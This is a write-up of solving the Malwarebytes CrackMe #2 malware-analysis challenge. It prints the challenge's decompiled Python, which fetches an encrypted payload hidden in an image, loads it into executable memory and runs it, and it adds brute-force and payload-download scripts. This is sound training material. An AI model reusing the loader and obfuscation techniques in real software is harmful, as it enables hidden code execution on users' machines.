Solving the Malwarebytes CrackMe #2

The crackme itself can be found here: https://blog.malwarebytes.com/security-world/2018/04/malwarebytes-crackme-2-another-challenge/.

Initial analysis

Since we know nothing about the login, let’s start IDA and see what is happening inside the binary.

The first obvious step is to look for the “login” string and see where it is referenced in the code. But it turns out, there’s no such string in this binary, which indicates the binary is compressed and/or encrypted somehow.

Looking into imports also doesn’t indicate anything interesting, so let’s look at the _main entry point. Here’s the part of it:

There’s two points of interest here. The first one is the message about ARCHIVE_STATUS allocation, which confirms our theory about the binary being compressed. The second one is “_MEIPASS2” string, which is passed as agrument to sub_403AD0 and sub_404060. They’re operating with environment variables (the former one calls GetEnvironmentVariableW, and the latter calls SetEnvironmentVariableW), so one can assume “_MEIPASS2” is an environment variable name.

Google can tell us that environment variable is used by PyInstaller, which is a tool to bundle Python code into the native executable. So let’s try to unpack and decompile it!

Unpacking and decompiling Python code

For the first part we need an unpacker, e.g. PyInstaller Extractor (it is a Python script itself, so you’ll need Python installed).

It will produce mb_crackme_2.exe_extracted folder with unpacked contents, and also identify entry points. The first two are likely initialization routines from the PyInstaller itself, while the third one (“another”) looks promising.

For the second step we’ll use Easy Python Decompiler. But before actual decompiling we need to add the missing signature (PyInstaller omits them for entry point files) by inserting the following 8 bytes in the beginning of the file (and adding .pyc file extension to it):

Now it can be fed to the decompiler, which will produce the source code. Here’s the output:

# Embedded file name: another.py
"""Malwarebytes Crackme #2"""
__author__ = 'hasherezade'
__license__ = 'BSD-2'
import os, sys, io
import getpass
import math
import urllib2
import random
import hashlib
import colorama
from colorama import *
import zlib, base64
from PIL import Image
from ctypes import *
kernel_dll = windll.kernel32
user32_dll = windll.user32
method = 'GET'
content_type = 'text/html'
from Crypto.Cipher import AES
from Crypto import Random
BS = 32
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
class AESCipher:
def __init__(self, key):
self.key = ''.join(map(chr, key))

def encrypt(self, raw):
raw = pad(raw)
cipher = AES.new(self.key, AES.MODE_ECB)
return cipher.encrypt(raw)

def decrypt(self, enc):
cipher = AES.new(self.key, AES.MODE_ECB)
return unpad(cipher.decrypt(enc))
def fetch_url(full_url):
resp_content = None
try:
resp_content = urllib2.urlopen(full_url).read()
except urllib2.HTTPError as e:
print 'Error: %d' % e.getcode()
return resp_content
def get_encoded_data(bytes):
imo = Image.open(io.BytesIO(bytes))
rawdata = list(imo.getdata())
tsdata = ''
for x in rawdata:
for z in x:
tsdata += chr(z)
del rawdata
return tsdata
def get_val_of_type(buffer, type):
return cast(buffer, POINTER(type)).contents.value
def get_char(c):
return get_val_of_type(c, c_char)
def get_word(c):
return get_val_of_type(c, c_ushort)
def get_dword(c):
return get_val_of_type(c, c_uint)
def is_valid_payl(content):
if get_word(content) != 23117:
return False
next_offset = get_dword(content[60:])
next_hdr = content[next_offset:]
if get_dword(next_hdr) != 17744:
return False
return True
def prepare_stage(content, content_size):
virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
if virtual_buf == 0:
return False
res = memmove(virtual_buf, content, content_size)
if res == 0:
return False
MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
MR()
return True
def check_key(key):
my_md5 = hashlib.md5(key).hexdigest()
if my_md5 == 'fb4b322c518e9f6a52af906e32aee955':
return True
return False
def check_login(login):
if login == 'hackerman':
return True
return False
def check_password(password):
my_md5 = hashlib.md5(password).hexdigest()
if my_md5 == '42f749ade7f9e195bf475f37a44cafcb':
return True
return False
def get_url_key(my_seed):
random.seed(my_seed)
key = ''
for i in xrange(0, 32):
id = random.randint(0, 9)
key += str(id)
return key
def show_banner():
colorama.init()
print colorama.Style.BRIGHT + colorama.Fore.BLUE
banner = '\n .+dmb: /dmb\\ \n +dmmmmmb: /dmmmmmb\\ \n -dmmmmmmmmmb: /dmmmmmmmmmo. \n -dmmmmmmmmmmmmb: /dmmmmmmmmmmmmb. \n .dmmmmmmmmmmmmmmmb: /dmmmmmmmmmmmmmmmb \n dmmmmmmmmmmmmmmmmmmb\\ /dmmmmmmmmmmmmmmmmmmb \n :mmmmmmmmmmmmmmmmmmmmmbbmmmmmmmmmmmmmmmmmmmmb. \n +mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm: \n ommmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm| \n +mmmmmmmmmmmmbdmmmmmmmmmmmmmmmmdmmmmmmmmmmmmm/ \n :mmmmmmmmmmmd. -dmmmmmmmmmmmmo. -bmmmmmmmmmmb. \n dmmmmmmmmmd -dmmmmmmmmo. -bmmmmmmmmm+ \n :mmmmmmmmm: -dmmmmo. +mmmmmmmmd \n /mmmmmmmm- -do. :mmmmmmmd \n :dmmmmmm: +mmmmmb/ \n .dmmmmmd .bmmmb+. \n :dmmmmo .dmmd/ \n -dmmmb: -d+: \n :+dmb+- \n -:+++\\\\: \n'
banner2 = '--------------------------------------------------------\n MALWAREBYTES CRACKME #2 \n--------------------------------------------------------\n'
info_strings = 'Welcome to Malwarebytes crackme!\nIt is a simple challenge dedicated to malware analysts.\nThe task is completed when you find a flag in format:\nflag{...}\nThere are several stages to pass before it is revealed.\nHovewer, we are more interested in your way of thinking,\nso please make notes on the way.\nThe final flag should be submitted along with a report.\n'
disclamer = 'DISCLAIMER:\nThe application contains obfuscation and may be detected\nas malware. Please make sure that you are running it on\na Virtual Machine to avoid interference with your system.\n--------------------------------------------------------'
print banner
print colorama.Style.BRIGHT + colorama.Fore.WHITE
print banner2
print info_strings
print colorama.Style.BRIGHT + colorama.Fore.RED
print disclamer
print colorama.Style.RESET_ALL
def decode_dumped(filename):
try:
with open(filename, 'rb') as f:
data = f.read()
return data
except:
return
def level3_colors():
colorama.init()
print colorama.Style.BRIGHT + colorama.Fore.CYAN
print "Level #3: Your flag is almost ready! But before it will be revealed, you need to guess it's color (R,G,B)!"
print colorama.Style.RESET_ALL
color_codes = ''
while True:
try:
val_red = int(raw_input('R: '))
val_green = int(raw_input('G: '))
val_blue = int(raw_input('B: '))
color_codes += chr(val_red)
color_codes += chr(val_green)
color_codes += chr(val_blue)
break
except:
print 'Invalid color code! Color code must be an integer (0,255)'
print 'Checking: RGB(%d,%d,%d)' % (val_red, val_green, val_blue)
return color_codes
def dexor_data(data, key):
maxlen = len(data)
keylen = len(key)
decoded = ''
for i in range(0, maxlen):
val = chr(ord(data[i]) ^ ord(key[i % keylen]))
decoded = decoded + val
return decoded
def decode_pasted():
my_proxy = kernel_dll.GetModuleHandleA('actxprxy.dll')
if my_proxy is None or my_proxy == 0:
return False
else:
char_sum = 0
arr1 = my_proxy
str = ''
while True:
val = get_char(arr1)
if val == '\x00':
break
char_sum += ord(val)
str = str + val
arr1 += 1
print char_sum
if char_sum != 52937:
return False
colors = level3_colors()
if colors is None:
return False
val_arr = zlib.decompress(base64.b64decode(str))
final_arr = dexor_data(val_arr, colors)
try:
exec final_arr
except:
print 'Your guess was wrong!'
return False
return True
def decode_and_fetch_url(key):
try:
encrypted_url = '\xa6\xfa\x8fO\xba\x7f\x9d\xe2c\x81`\xf5\xd5\xf6\x07\x85\xfe[hr\xd6\x80?U\x90\x89)\xd1\xe9\xf0<\xfe'
aes = AESCipher(bytearray(key))
output = aes.decrypt(encrypted_url)
full_url = output
content = fetch_url(full_url)
except:
return None
return content
def load_level2(rawbytes, bytesread):
try:
if prepare_stage(rawbytes, bytesread):
return True
except:
return False
def stage1_login():
show_banner()
print colorama.Style.BRIGHT + colorama.Fore.CYAN
print 'Level #1: log in to the system!'
print colorama.Style.RESET_ALL
login = raw_input('login: ')
password = getpass.getpass()
if not (check_login(login) and check_password(password)):
print 'Login failed. Wrong combination username/password'
return None
PIN = raw_input('PIN: ')
try:
key = get_url_key(int(PIN))
except:
print 'Login failed. The PIN is incorrect'
return None

if not check_key(key):
print 'Login failed. The PIN is incorrect'
return None
else:
return key
def check_if_next(key):
if key is None:
return False
else:
resp = user32_dll.MessageBoxA(None, 'Good job, the first level passed! Prepare for more fun!\nMake sure that the internet is connected.\nAre you ready?', 'Level 2', 4)
if resp == 7:
user32_dll.MessageBoxA(None, 'See you later!', 'Bye', 0)
return False
return True
def main():
key = stage1_login()
if not check_if_next(key):
return
else:
content = decode_and_fetch_url(key)
if content is None:
print 'Could not fetch the content'
return -1
decdata = get_encoded_data(content)
if not is_valid_payl(decdata):
return -3
print colorama.Style.BRIGHT + colorama.Fore.CYAN
print 'Level #2: Find the secret console...'
print colorama.Style.RESET_ALL
load_level2(decdata, len(decdata))
user32_dll.MessageBoxA(None, 'You did it, level up!', 'Congrats!', 0)
try:
if decode_pasted() == True:
user32_dll.MessageBoxA(None, 'Congratulations! Now save your flag and send it to Malwarebytes!', 'You solved it!', 0)
return 0
user32_dll.MessageBoxA(None, 'See you later!', 'Game over', 0)
except:
print 'Error decoding the flag'
return
if __name__ == '__main__':
main()

Clearing level 1

Let’s have a closer look at the stage1_login() procedure. It reads login and password from the console and checks them with check_login() and check_password().

The login check is pretty straightforward: it only accepts “hackerman” as login. Password, on the other hand, is unknown, but its MD5 hash is “42f749ade7f9e195bf475f37a44cafcb”. So we could use one of the many MD5 reverse lookup sites (e.g. https://crackstation.net) to see if the password is a well-known one:

Bingo, our password is “Password123”!

Now let’s look at the PIN code part: it seeds RNG with the entered PIN code, and produces a random 32-character key. Then it checks if the MD5 hash of that key is equal to “fb4b322c518e9f6a52af906e32aee955”.

There’s no way to find a random 32-character string by its hash in a reasonable time. But we know that the RNG will produce the same sequence of values if seeded with the same number, and PIN code itself is a rather short numeric string. So let’s make a simple brute-force script (most of which is taken from the original code):

import random, hashlib
def get_url_key(my_seed):
random.seed(my_seed)
key = ''
for i in xrange(0, 32):
id = random.randint(0, 9)
key += str(id)
return key
def check_key(key):
my_md5 = hashlib.md5(key).hexdigest()
if my_md5 == 'fb4b322c518e9f6a52af906e32aee955':
return True
return False

for pin in xrange(1, 1000000000):
key = get_url_key(pin)
if check_key(key):
print pin, key
break

It would take a couple of seconds before it gives us a pair of PIN and key: 9667 and “95104475352405197696005814181948”.

Now we have login, password and PIN to clear the first level.

Clearing level 2

Before proceeding to the second level, the code fetches and decodes some payload based on the key from the first level, so we’ll need to do that too. We’ll cook up a little script for that (again, mostly based on the original code):

import urllib2, io
from Crypto.Cipher import AES
from PIL import Image
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
class AESCipher:
def __init__(self, key):
self.key = ''.join(map(chr, key))
  def encrypt(self, raw):
raw = pad(raw)
cipher = AES.new(self.key, AES.MODE_ECB)
return cipher.encrypt(raw)
  def decrypt(self, enc):
cipher = AES.new(self.key, AES.MODE_ECB)
return unpad(cipher.decrypt(enc))
def decode_and_fetch_url(key):
try:
encrypted_url = '\xa6\xfa\x8fO\xba\x7f\x9d\xe2c\x81`\xf5\xd5\xf6\x07\x85\xfe[hr\xd6\x80?U\x90\x89)\xd1\xe9\xf0<\xfe'
aes = AESCipher(bytearray(key))
full_url = aes.decrypt(encrypted_url)
return urllib2.urlopen(full_url).read()
except urllib2.HTTPError as e:
print 'Error: %d' % e.getcode()
return None
def get_encoded_data(bytes):
imo = Image.open(io.BytesIO(bytes))
rawdata = list(imo.getdata())
tsdata = ''
for x in rawdata:
for z in x:
tsdata += chr(z)
  del rawdata
return tsdata

payload = decode_and_fetch_url("95104475352405197696005814181948")
if payload:
payload = get_encoded_data(payload)
with open("payload.bin", "wb") as f:
f.write(payload)

After the payload is downloaded, it is copied into the allocated memory and executed. Let’s see what’s inside:

Okay, this is clearly a PE executable file, so we’ll go back to IDA. After initial disassembly IDA will take us to the entry point:

It is pretty simple, so all the magic should be happening inside sub_10008579 (which actually contains quite a bit of initialization code). So we can look through all function calls to find the one we’re interested at, but we may also cheat a little bit and look at the Strings window and see if there’s anything relevant there, and then just follow to where it is referenced from:

That “Sorry you, failed!” looks promising, and it is only used in sub_100010F0 (which simply shows the message box). And it is called from sub_10001170 after “int 3” handler (which is a trap for debugger). We can also check that sub_10001170 is also called twice from sub_10008579, so it is probably what we’re looking for.

Right after the call to sub_100010F0 there’s also a call to sub_100010D0, which looks pretty interesting:

It creates a thread (sub_100059D0 is a wrapper for CreateThread function call) and waits for it to complete. So the next step is to look at the thread procedure:

There’s only a loop that enumerates top-level windows every second, so the interesting stuff must be happening in the enumeration callback (sub_10005750).

First, it gets window text (caption) of every top-level window:

Then it calculates its length and copies it to a local std::string variable (initializing values of two adjacent stack variables to 0 and 15 is actually a pretty good indicator that std::string may be involved):

If the text contains “Notepad” and also contains “secret_console”, then it replaces window caption with another string and shows the window:

And if it contains the replacement text we’ve set in the previous step, it starts enumerating Notepad’s child windows:

EnumFunc for the child windows is pretty similar to a top-level window enumeration callback. It gets window text and searches it for the “dump_the_key” string:

If found, it then executes the most interesting part:

The code above initializes some kind of decryption context, then calls sub_100016F0 with “dump_the_key” string as a key and 617-byte payload in unk_10032000. Then the actxprxy.dll is loaded, and memory the dll handle is pointing to is rewritten with the decrypted contents. The python code will then get a module handle for the actxprxy.dll and read the data.

After the analysis is complete, we can actually proceed with clearing level 2. For that, we’ll start Notepad, type “dump_the_key” and save the file as “secret_console.txt”. Then wait a second or two for the window enumeration loop to trigger:

But we still need to get the content! Sure, we could reverse-engineer sub_100016F0 to get the decryption algorithm (it is actually XORing contents of the payload with a 256-byte array produced by shuffling numbers from 0 to 255 using “dump_the_key” key). But why bother if we can dump the decrypted data directly from the process memory? :)

So we attach a debugger to the process, go to Memory Map tab and just dump the memory for the actxprxy.dll to a file:

Clearing level 3

On level 3, the data from the level 2 is base64-decoded and decompressed using zlib, then XOR-ed with a 3-byte (R, G, B) key to produce a Python code and execute it with exec.

Since we know nothing about the color, we’ll use a brute-force again:

import zlib, base64
char_sum = 0
str = ''
with open("mb_crackme_2_70E00000.bin", "rb") as f:
for val in f.read():
if val == '\x00':
break
char_sum += ord(val)
str = str + val
print char_sum
if char_sum != 52937:
print "Error: we've dumped something wrong!"
exit(1)

val_arr = zlib.decompress(base64.b64decode(str))
def dexor_data(data, key):
maxlen = len(data)
keylen = len(key)
decoded = ''
for i in xrange(0, maxlen):
val = ord(data[i]) ^ ord(key[i % keylen])
# to minimize number of false positives,
# we won't accept results outside of printable range
if not ((val >= 32 and val < 128) or val == 9 or val == 10 or val == 13):
return None
decoded = decoded + chr(val)
return decoded
for r in xrange(0, 256):
for g in xrange(0, 256):
for b in xrange(0, 256):
colors = chr(r) + chr(g) + chr(b)
final_arr = dexor_data(val_arr, colors)
if final_arr:
print '\nrgb(%d, %d, %d):' % (r, g, b)
print final_arr

Because we’ve added a condition to reject results containing non-printable characters, we only get a handful of results. And it occurs that the valid Python code is only produced for the color (128, 0, 128). Let’s enter those:

Yay!